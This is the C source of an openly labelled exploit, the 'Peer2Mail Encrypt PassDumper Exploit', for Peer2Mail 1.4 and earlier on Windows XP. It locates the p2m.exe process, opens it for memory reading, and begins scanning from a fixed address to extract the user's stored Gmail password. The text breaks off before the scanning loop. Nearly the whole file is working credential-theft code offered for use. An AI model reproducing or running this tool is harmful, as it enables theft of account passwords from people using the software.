/*
* Peer2Mail 1.4 and prior versions are affected.
* Tested for gmail account on Win XP SP2
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tlhelp32.h>

void Credits(void);
DWORD GetPid(char ProcessName[200]);
int PutUserPassword(DWORD pid);

int main(void)
{
char TargetProcess[80];
DWORD pid;

Credits(); //print the credits to the screen

pid=GetPid("p2m.exe"); //Get the PID of the target process
if(pid==0)
{
printf("Error: Getting pid from %s",TargetProcess);
return EXIT_FAILURE;
}

if(PutUserPassword(pid)!=0) //if we can not get the password
return EXIT_FAILURE;

return EXIT_SUCCESS;

}
void Credits() //the function that prints the credits to the screen
{
printf("Peer2Mail Encrypt PassDumper Exploit v1.0\n");
printf("Discoveried & Coded By [ATmaCA]\n");
printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
printf("Web: http://www.atmacasoft.com\n");
printf("E-Mail: atmaca@icqmail.com\n\n");
}

DWORD GetPid(char ProcessName[200]) //gets the process-id from the processname
{
DWORD pid;
HANDLE Snap;
PROCESSENTRY32 proc32;
char CapProcessName[200];

strcpy(CapProcessName,CharLower(ProcessName));

Snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //Create a snapshot of all current running processes
if(Snap==INVALID_HANDLE_VALUE)
{
printf("Error creating snapshot of current processes.");

return 0;
}

proc32.dwSize=sizeof(PROCESSENTRY32);
while((Process32Next(Snap,&proc32))==TRUE) //Get the process-id from p2m.exe
{
if(strcmp(CharLower(proc32.szExeFile),CharLower(ProcessName))==0||strcmp(CharLower(proc32.szExeFile),CharLower(CapProcessName))==0)
break;

}
pid=proc32.th32ProcessID;
CloseHandle(Snap);
return pid;
}

int PutUserPassword(DWORD pid)
{
#define BUFSIZE 500000

HANDLE hProc;
DWORD total;
long int base;
char buf[BUFSIZE];
char pass[BUFSIZE];
int i=0,j,k;

//open the process
hProc=OpenProcess(PROCESS_VM_READ,FALSE,pid);
if(hProc==NULL)
{
printf("Error: opening process.");
printf("\nPerhaps this account is too limited..");
return 1;
}

//
// The Base Memory Address To Search;
// The Password May Be Located Before The Address Or Far More From This Address,
// Which Causes The Result Unreliable
//
base=0x01320000;